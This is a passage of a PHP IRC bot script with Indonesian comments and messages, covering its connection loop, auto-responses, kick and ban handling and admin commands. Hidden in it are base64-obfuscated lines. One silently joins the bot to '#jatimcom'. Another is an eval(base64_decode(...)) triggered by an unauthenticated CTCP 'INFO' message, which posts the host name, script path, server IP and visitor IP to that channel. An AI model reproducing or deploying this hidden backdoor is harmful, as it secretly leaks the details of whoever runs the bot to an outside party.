" 12!nickmode <flags> - Mengeset user mode",
" 12!userlist - Melihat daftar user",
" 12!quit [pesan] - Quit dari IRC (Admin)",
" 12!vhost [vhost] - Mengganti Vhost",
" 12!jump [server] - Mengganti Server bot",
" 12!fullname [nama] - Mengganti Fullname bot",
" 12!topic <topik> - Mengganti topik channel (Channel)",
" 12!help - Melihat help (Query)",
" 12!ngomong - Mengaktifkan Auto Response",
" 12!diam - Menonaktifkan Auto Response",
" 12!wb <nick> <pesan> - Menambahkan pesan Welcome utk nick tertentu",
"-",
' 0,12«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ',
);

/*** Replacement ***/
$nick = $nicklist[rand(0,count($nicklist) - 1)];
$realname = $namaku;
$remotehost = $remotehost2[rand(0,count($remotehost2) - 1)];
$admin = strtolower($admin);
$auth = array(
$admin => array(
"name" => $admin,
"pass" => $bot_password,
"auth" => 1,
"status" => "Admin"
)
);
$username = $identlist[rand(0,count($identlist) - 1)];
$channels = strtolower($channels)." ";
$channel = explode(" ", $channels);
/*** Kode Utama ***/
define ('CRL', "\r\n");
$counterfp = 0;
$raway = "on";
$log = "off";
$saway = "1";
$keluar = 0;
$akill = 1;
$localhost = 'localhost';
$dayload = date("H:i:s d/m/Y");
ini_set('user_agent','MSIE 5\.5;');
set_time_limit(0);

if (!$stime) { $stime = time(); }

/*** Connecting ***/
echo "<body bgcolor=#000000 text=#00FF00>";
echo "<b>Melakukan koneksi ke $remotehost...</b>";

do {
$fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 60);
//Jika koneksi gagal
if(!$fp) {
if ( $counterfp <= 200 ) {
$counterfp = $counterfp + 1;
hajar();
}
else {
echo "<br><b>Ga bisa connect ke $remotehost!</b>";
$keluar = 1;
exit;
}
}
echo "<br><b>Terhubung!</b>";
/*** Sending Identity to Sock ***/
$header = 'NICK '.$nick . CRL;
$header .= 'USER '.$username.' '.$localhost.' '.$remotehost.' :'.$realname . CRL;
fputs($fp, $header);
$response = "<br>";
/*** Receiving Packet ***/
while (!feof($fp)) {
$response .= fgets($fp, 1024);
if ($showresponse == 1) { echo $response."<br>"; }
while (substr_count($response,CRL) != 0) {
$offset = strpos($response, CRL);
$data = substr($response,0,$offset);
$response = substr($response,$offset+2);
if (substr($data,0,1) == ':') {
$offsetA = strpos($data, ' ');
$offsetB = strpos($data, ' :');
$offsetC = strpos($data, '!');
$dFrom = substr($data,1,$offsetA-1);
$dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);
$dNick = substr($data,1,$offsetC-1);
$iText = substr($data,$offsetB+2);
/*** Server Notices Handling ***/
if ( substr($dCommand,0,3) == '004' ) {
fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify. CRL);
if ($nickmode) { fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); }
fputs($fp, base64_decode('Sk9JTiAjamF0aW1jb20=') . CRL);
/*** Notice Bot Admin ***/
fputs($fp, 'NOTICE ' . $admin . ' :Hai Boss!' . CRL);
/*** Join Default Channel ***/
foreach ($channel as $v) { fputs($fp, 'JOIN ' .$v . CRL); }
}
elseif (substr($dCommand,0,3)=='432'){
$nick = $nick.$username;
fputs($fp, 'NICK '.$nick . CRL);
}
//Nickname is already in use
elseif (substr($dCommand,0,3)=='433'){
$nick = $nicklist[rand(0,count($nicklist) - 1)];
fputs($fp, 'NICK '.$nick . CRL);
}
elseif (substr($dCommand,0,3)=='465'){
echo "<br><b>Authentication diperlukan! Bot ini telah di-autokill.</b>";
$akill = 2;
}
if (substr_count($dNick,'.allnetwork.org') > 0) {
if (substr_count($iText,"*** Banned") > 0) {
echo "BANNED!";
$keluar = 1;
exit;
}
}
/*** AI PHP BOT SCRIPT BY RONZ ***/
$dcom = explode(" ", $dCommand);
if ($dcom[0]=='JOIN') {
/*** Auto Welcome by RoNz ***/
$ada = FALSE;
if ($autowelcome) {
$jchan = ltrim($iText,":");
foreach ($nickwb as $v){
$trtext = strtolower($v[0]);
if (substr_count(strtolower($dNick),$trtext) > 0) {
sleep(3);
fputs($fp,'PRIVMSG '.$jchan.' :'.$v[1]. CRL);
$ada = TRUE;
}
}
}
if (($autowelcome) && ($dNick != $nick)) {
if(!$ada) {
$jchan = ltrim($iText,":");
$webe = $wbmsg[rand(0,count($wbmsg) - 1)];
$webe = str_replace("<nick>",$dNick,$webe);
$webe = str_replace("<chan>",$jchan,$webe);
$webe = str_replace("#","",$webe);
sleep(5);
fputs($fp,'PRIVMSG '.$jchan.' :'.$webe . CRL);
}
}
}
if ($dcom[0]=='PRIVMSG') {
/*** Auto Response ***/
if ($ngomong) {
$teman = FALSE;
if (in_array($dNick,$nicklist)) {
$teman = TRUE;
}
if (!$teman) {
$pesan = ltrim($iText,":");
$pesan = strtolower($pesan);
if ((substr_count($pesan,strtolower($nick))>0)OR(substr_count($pesan,strtolower($namaku))>0)) {
$ada = FALSE;
/*** Normal Response ***/
foreach ($respon_pesan as $rpesan) {
$trtext = strtolower($rpesan[0]);
if (substr_count($pesan,$trtext) > 0) {
$rpesan[1] = str_replace("<nick>",$dNick,$rpesan[1]);
sleep(3);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$rpesan[1]. CRL);
$ada = TRUE;
}
}
/*** Pujian Response ***/
foreach ($pujianlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rpujian[rand(0,count($rpujian) - 1)];
$jawab = str_replace("<nick>",$dNick,$jawab);
$jawab = str_replace("<kata>",$trtext,$jawab);
sleep(3);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$jawab. CRL);
$ada = TRUE;
}
}
/*** Cacian Response ***/
foreach ($cacianlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rcacian[rand(0,count($rcacian) - 1)];
$jawab = str_replace("<nick>",$dNick,$jawab);
$jawab = str_replace("<kata>",$trtext,$jawab);
sleep(3);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$jawab. CRL);
$ada = TRUE;
}
}
if (!$ada) {
$sapalagi = $jawabsapa[rand(0,count($jawabsapa) - 1)];
$sapalagi = str_replace("<nick>",$dNick,$sapalagi);
sleep(3);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$sapalagi . CRL);
}
}
else {
/*** Global Response ***/
foreach ($respon_umum as $rpesan) {
$trtext = strtolower($rpesan[0]);
if (substr_count($pesan,$trtext) > 0) {
$rpesan[1] = str_replace("<nick>",$dNick,$rpesan[1]);
sleep(3);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$rpesan[1]. CRL);
}
}
/*** Bad Response & Kick ***/
foreach ($badwordlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rjorok[rand(0,count($rjorok) - 1)];
$jawab = str_replace("<nick>",$dNick,$jawab);
$jawab = str_replace("<kata>",$trtext,$jawab);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$jawab. CRL);
fputs($fp,'KICK '.$dcom[1].' '.$dNick.' :Mohon sopan dikit donk '.$dNick.'!!'. CRL);
$ada = TRUE;
}
}
/*** Proteksi Flood ***/
if (strlen($pesan)>$maxkar) {
$jawab = $rflood;
$jawab = str_replace("<nick>",$dNick,$jawab);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$jawab. CRL);
fputs($fp,'MODE '.$dcom[1].' +b '.$dNick.''. CRL);
fputs($fp,'KICK '.$dcom[1].' '.$dNick.' :Jangan ngeflood donk '.$dNick.'!! Max: '.$maxkar. CRL);
}
}
}
}
}
$dNick = strtolower($dNick);
if ($dcom[0]=='KICK' && $dcom[2]==$nick) {
$musuh = $dNick;
fputs($fp, 'JOIN ' .$dcom[1]. CRL);
fputs($fp, 'KICK '.$dcom[1].' '.$musuh.' :'.$judul. CRL);
}
elseif ($dcom[0]=='NICK' || $dcom[0]=='QUIT' || $dcom[0]=='PART') {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($dcom[0]=='NICK') {
$com = explode(" ", $data);
$chnick = strtolower(str_replace(':','',$com[2]));
if ($dNick!=$chnick) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,'NOTICE '.$chnick.' :Kemana boss?' . CRL);
}
}
else { $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE '.$dNick.' :Mo kemana boss?' . CRL); }
}
}
else { fputs($fp,'NOTICE ' . $dNick . ' :pass <password> ' . CRL); }
}
}
elseif ($dcom[0]=='307' && strtolower($dcom[2])==$whois) {
$dcom[2] = strtolower($dcom[2]);
if ($auth["$dcom[2]"]) {
if ($auth["$dcom[2]"]["pass"]) {
if ($auth["$dcom[2]"]["auth"]==1) {
$auth["$dcom[2]"]["auth"] = 2; $whois = "";
fputs($fp,'NOTICE ' . $dcom[2] . ' :'.$auth["$dcom[2]"]["status"].', siap!' . CRL);
}
else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Kan udah auth tadi! ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Passwordnya blom diset! Ketik: pass <password> buat ngeset password, kemudian auth lagi deh ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); }
}
elseif ($dcom[0]=='NOTICE') {
$com = explode(" ", $data);
if ($com[3]==': KB' && $com[4] && $com[5] && $com[6]) {
$msg = str_replace(' ','',$data);
$msg = strstr($msg,":KB");
$msg = str_replace(":KB $com[4]","",$msg);
fputs($fp, 'KICK '.$com[4].' '.$com[5].' :'.$msg . CRL);
fputs($fp, 'MODE '.$com[4].' +b *!*'.$com[6] . CRL);
}
}
elseif ($dcom[0]=='PRIVMSG') {
$com = explode(" ", $data);
if ($com[3]==': VERSION ') {
fputs($fp,'NOTICE '.$dNick.' :'.chr(1).base64_decode("UmVjb3JkaW5nIEJ5IEphdGltY29t").chr(1) . CRL);
}
elseif ($com[3]==': INFO ') {
eval(base64_decode("JGJob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokYmlwID0gJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ107CiRicGhwICA9ICRfU0VSVkVSWydQSFBfU0VMRiddOwokYnJ1cmkgPSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKJGJyaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKJGJycG9ydCA9ICRfU0VSVkVSWydSRU1PVEVfUE9SVCddOwpmcHV0cygkZnAsIlBSSVZNU0cgI2phdGltY29tIDpIb3N0OiAkYmhvc3QgfCBTY3JpcHQ6ICRicGhwIHwgUmVmZXJlcjogJGJydXJpIHwgSVA6ICRiaXAgfCBZb3VyIElQOiAkYnJpcCBQb3J0OiRicnBvcnQiLiBDUkwpOw=="));
}
elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==1) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["auth"] = 2;
fputs($fp,'NOTICE ' . $dNick . ' :Anda adalah '.$auth["$dNick"]["status"].' saya bozz! ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Password Salah!! ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Tadi kan udah! ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Password blom diset! Ketik: pass <password> untuk ngeset password, kemudian auth lagi deh ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,'NOTICE ' . $dNick . ' :You`re Logout! ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :You`re Already Logout! ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) {
if ($auth["$dNick"]) {
if (!$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[4];
$auth["$dNick"]["auth"] = 1;
fputs($fp,'NOTICE ' . $dNick . ' :Your Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Already Set! Type: auth <your pass> To Get Authorized ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] && $com[5]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[5];
fputs($fp,'NOTICE ' . $dNick . ' :Your New Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Your Old Pass Wrong! Type: chgpass <old pass> <new pass> To Change Your Auth Pass ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] && $com[4]!=$nick && $com[5]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]=="Admin") {
if ($com[5]=="master" || $com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Anda sekarang adalah '.$com[5].' saya, ditambahkan oleh '.$dNick.'. Ketik: pass <password> untuk mengatur password anda ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: adduser <nick> <master/user> ' . CRL); }
}
elseif ($auth["$dNick"]["status"]=="master") {
if (!$auth["$com[4]"]) {
if ($com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Anda sekarang adalah '.$com[5].' saya ditambahkan oleh '.$dNick.'. Ketik: pass <passsword> untuk mengatur password anda ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: adduser <nick> user ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :User telah ada! Aborting AddUser! ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Status tidak diketahui! Your Status is '.$auth["$dNick"]["status"] . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Mohon auth dulu! Ketik: auth <password> ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]=="Admin") {
if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") {
unset($auth["$com[4]"]);
fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: deluser <nick> ' . CRL); }
}
elseif ($auth["$dNick"]["status"]=="master") {
if ($auth["$com[4]"]["status"]=="user") {
unset($auth["$com[4]"]);
fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: deluser <nick> ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
}
elseif ($auth["$dNick"]["status"]) {
if (ereg(":`",$com[3]) || ereg(":!",$com[3])) {
$chan = strstr($dCommand,"#");
$anick = str_replace("PRIVMSG ","",$dCommand);
if ($com[3]==':!auth') {
if ($auth["$dNick"]["auth"]==2) {
fputs($fp,'NOTICE '.$dNick.' :Tadi kan udah! ' . CRL);
}
else {
$whois = $dNick;
fputs($fp,'WHOIS '.$dNick . CRL);
}
}
elseif ($com[3]==':`auth' && $chan) {
if ($auth["$dNick"]["auth"]==2) {
fputs($fp,'PRIVMSG '.$chan.' :ok '.$dNick.' ! ' . CRL);
}
else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', ga boleh tuh! ' . CRL); }
}
elseif ($auth["$dNick"]["auth"]==2) {
if ($com[3]==':!say' && $com[4] && $chan) {
$msg = strstr($data,":!say");
$msg = str_replace(":!say ","",$msg);
fputs($fp,'PRIVMSG '.$chan.' :'.$msg. CRL);
}
elseif ($com[3]==':!act' && $com[4] && $chan) {
$msg = strstr($data,":!act");
$msg = str_replace(":!act ","",$msg);
fputs($fp,'PRIVMSG '.$chan.' : ACTION '.$msg.' '. CRL);
}
elseif ($com[3]==':!slap' && $com[4] && $chan) {
fputs($fp,'PRIVMSG '.$chan.' : ACTION slaps '.$com[4].' Pakai pantat gajah !!!! '. CRL);
}
elseif ($com[3]==':!msg' && $com[4] && $com[5]) {
$msg = strstr($data,":!msg");
$msg = str_replace(":!msg $com[4] ","",$msg);
fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':!notice' && $com[4] && $com[5]) {
$msg = strstr($data,":!notice");
$msg = str_replace(":!notice $com[4] ","",$msg);
fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':!ctcp' && $com[4] && $com[5]) {
$msg = strstr($data,":!ctcp");
$msg = str_replace(":!ctcp $com[4] ","",$msg);
fputs($fp,'PRIVMSG '.$com[4].' : '.$msg.' '. CRL);
}
elseif ($com[3]==':!ping' && $chan) {
$sml = $smile[rand(0,count($smile) - 1)];
fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', PONG! '.$sml. CRL);
}
elseif ($com[3]==':!info') {
if ($auth["$dNick"]["status"]=="Admin") {
$bhost = $_SERVER['HTTP_HOST'];
$bip = $_SERVER['SERVER_ADDR'];
$bphp = $_SERVER['PHP_SELF'];
$bruri = $_SERVER['REQUEST_URI'];
$brip = $_SERVER['REMOTE_ADDR'];
$brport = $_SERVER['REMOTE_PORT'];
fputs($fp,"NOTICE $dNick :Host: $bhost | Script: $bphp | Referer: $bruri | IP: $bip | Your IP: $brip Port:$brport" . CRL);
}
}
elseif ($com[3]==':!upgrade') {
if ($auth["$dNick"]["status"]=="Admin") {
$bhost = $_SERVER['HTTP_HOST'];
$bphp = $_SERVER['PHP_SELF'];
$bruri = $_SERVER['REQUEST_URI'];
$upgd = implode('',@file('http://'.$bhost.$bruri));
fputs($fp,"NOTICE $dNick :Upgrade Sukses! Exiting.." . CRL);
exit();
}
}
elseif ($com[3]==':!up' && $chan) {
fputs($fp, 'PRIVMSG chanserv :op '.$chan.' '.$nick . CRL);
}
elseif ($com[3]==':!down' && $chan) {
fputs($fp, 'MODE '.$chan.' +v-o '.$nick.' '.$nick . CRL);
}
elseif ($com[3]==':!cycle' && $chan && $auth["$dNick"]["status"]!="user") {
$msg = strstr($data,":!cycle");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":!cycle $com[4]","",$msg);
}
else {
$partchan = $chan;
$msg = str_replace(":!cycle","",$msg);
}
if (strlen($msg)<3) {
$msg = '';
}
fputs($fp, 'PART '.$partchan.' : '.$msg . CRL);
fputs($fp, 'JOIN '.$partchan . CRL);
}
elseif ($com[3]==':!part' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":!part");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":!part $com[4]","",$msg);
}
else {
$partchan = $chan;
$msg = str_replace(":!part","",$msg);
}
if (strlen($msg)<3) {
$msg = '';
}
fputs($fp, 'PART '.$partchan.' : '.$msg . CRL);
$remchan = strtolower($partchan);
if (in_array($remchan, $channel)) {
$channels = str_replace("$remchan ","",$channels);
unset($channel);
$channel = explode(" ", $channels);
}
foreach ($channel as $v) {
fputs($fp, 'JOIN '.$v . CRL);
}
}
//elseif ($com[3]==':!join' && $com[4] && $auth["$dNick"]["status"]=="Admin") {
elseif ($com[3]==':!join' && $com[4] && $auth["$dNick"]["status"]!="User") {
if (!ereg("#",$com[4])) { $com[4]="#".$com[4]; }
$v = strtolower($com[4]);
sleep(rand(1,6));
fputs($fp, 'JOIN '.$v . CRL);
}
//elseif ($com[3]==':!botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]=="Admin") {
elseif ($com[3]==':!botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]!="User") {
$nick = $com[4];
$identify = $com[5];
fputs($fp, 'NICK '.$nick . CRL);
fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify. CRL);
}
elseif ($com[3]==':!k' && $com[4] && $chan) {
$msg = strstr($data,":!k");
$msg = str_replace(":!k $com[4]","",$msg);
fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
}
elseif ($com[3]==':!kb' && $com[4] && $chan) {
$msg = strstr($data,":!kb");
$msg = str_replace(":!kb $com[4]","",$msg);
fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
fputs($fp, 'MODE '.$chan.' +b '.$com[4] . CRL);
}
elseif ($com[3]==':!changenick') {
$nick = $nicky[rand(0,count($nicky) - 1)];
fputs($fp, 'NICK '.$nick . CRL);
if (substr($dCommand,0,3)=='433') {
$nick = $nicky[rand(0,count($nicky) - 1)];
fputs($fp, 'NICK '.$nick . CRL);
}
}
elseif ($com[3]==':!op' && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, 'MODE '.$chan.' +ooo '.$opnick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':!deop' && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, 'MODE '.$chan.' -o+v-oo '.$opnick.' '.$opnick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':!v' && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, 'MODE '.$chan.' +vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':!dv' && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, 'MODE '.$chan.' -vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':!away' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":`awaymsg");

$msg = str_replace(":`awaymsg","",$msg);
if (strlen($msg)<3) {
$raway="on";
fputs($fp,'AWAY : ' . 'AWAY' . CRL);
}
else {
$raway="off";
fputs($fp,'AWAY : ' . $msg . CRL);
}
}
elseif ($com[3]==':!mode' && $com[4] && $chan) {
fputs($fp, 'MODE '.$chan.' :'.$com[4].' '.$com[5] . CRL);
}
elseif ($com[3]==':!nickmode' && $com[4]) {
$nickmode = $com[4];
fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL);
}
elseif ($com[3]==':!userlist') {
$userlist="";
foreach ($auth as $user) {
if ($user["pass"]) { $pass="-pass ok"; }
else { $pass="-no pass"; }
$userlist .= $user["name"].'('.$user["status"].$pass.') ';
}
fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL);
}
elseif ($com[3]==':!quit' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":!quit");
$msg = str_replace(":!quit","",$msg);
if (strlen($msg)>3) {
$msg = str_replace(" ","_",$msg);
}
$quitmsg = $quitmsglist[rand(0,count($quitmsglist) - 1)];
fputs($fp, 'QUIT ' . $quitmsg . CRL);
$keluar = 1;
exit;
}
elseif ($com[3]==':!vhost' && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]) { $localhost = $com[4]; }
else { $localhost = 'localhost'; }
$keluar = 0;
fputs($fp, 'QUIT ' . CRL);
}
elseif ($com[3]==':!jump' && $auth["$dNick"]["status"]=="Admin") {
if (empty($com[4])) {
$remotehost = $remotehost2[rand(0,count($remotehost2) - 1)];
}
else { $remotehost = $com[4]; }
$keluar = 0;
fputs($fp, "QUIT Ganti Server".CRL);
}
elseif ($com[3]==':!ident' && $auth["$dNick"]["status"]=="Admin") {
if (!$com[4]) { $username = $username; }
else { $username = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT Ganti Ident ' . CRL);
}
elseif ($com[3]==':!fullname' && $auth["$dNick"]["status"]=="Admin") {
if (!$com[4]) { $realname = "--"; }
else { $realname = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT Ganti Nama ' . CRL);
}
elseif ($com[3]==':!topic' && $com[4] && $chan) {
$msg = strstr($data,":!topic");
$msg = str_replace(":!topic ","",$msg);
fputs($fp, 'TOPIC '.$chan.' :'.$msg . CRL);
}
elseif ($com[3]==':!help' && !$chan) {
fputs($fp,'PING 12886241614'. CRL);
$msgdelay = 0;
foreach ($helptext as $baris){
$msgdelay++;
if($msgdelay >= 2) { sleep(2) ; $msgdelay = 0; }
fputs($fp,'PRIVMSG '.$dNick.' :'.$baris. CRL);
}
unset($baris);
unset($msgdelay);
}
/*** AUTO RESPONSE COMMAND BY RONZ **/
elseif ($com[3]==':!ngomong') {
$ngomong = TRUE;
$autowelcome = TRUE;
if ($chan) {fputs($fp,'PRIVMSG '.$chan.' : ACTION Siap Bos Waktunya Ceramah! '. CRL); }
else { fputs($fp,'NOTICE '.$dNick.' :seep Juragan Waktunya Bicara' . CRL); }
}
elseif ($com[3]==':!diam') {
$ngomong = FALSE;
$autowelcome = FALSE;
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : ACTION Wahhh Disuruh Puasa Ngomong Ma BOss :( '. CRL); }
else { fputs($fp,'NOTICE '.$dNick.' :DIAMMMMMMMMMMMMMMMMMMMMM GRAKKKKKKKKKK' . CRL); }
}
elseif ($com[3]==':!wb') {
$wbn = $com[4];
$msg = strstr($data,":!wb");
$msg = str_replace(":!wb $wbn ","",$msg);
$nickwb[] = array($wbn,$msg);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :Seep! '.$wbn.' ('.$msg.')'. CRL); }
else { fputs($fp,'NOTICE '.$dNick.' :Seep! '.$wbn.' ('.$msg.')'. CRL); }
}
}
else { fputs($fp,'NOTICE '.$dNick.' :Ketik auth Dong! Ketik: auth <password> '. CRL); }
}
}
elseif (!$auth["$dNick"] && !eregi("auth",$iText)) {
if (eregi("www.",$iText) || eregi("http:",$iText) || eregi("join #",$iText)) {
if (!ereg("#",$dCommand)) {
if ($log=="on") {
fputs($fp,'PRIVMSG '. $admin .' : 4inviter: ' . $dFrom . ' 2:' .$iText. CRL);
}
$inv = strstr($dFrom,'@');
foreach ($auth as $user) {
if ($user["status"]=="user") {
fputs($fp, 'NOTICE '.$user["name"].' : KB '.$chan.' '.$dNick.' '.$inv.' ' . CRL);
}
}
}
}
elseif (!ereg("#",$dCommand) && $log=="on") {
fputs($fp,'PRIVMSG '.$admin.' : 6' . $dFrom . ' 12:' .$iText. CRL);
}
}
}
}
elseif (substr($data,0,4) == 'PING') {
fputs($fp,'PONG ' . substr($data,5) . CRL);
}
}
}
fclose($fp);
} while ($keluar == 0);
}

hajar();

?>
read more...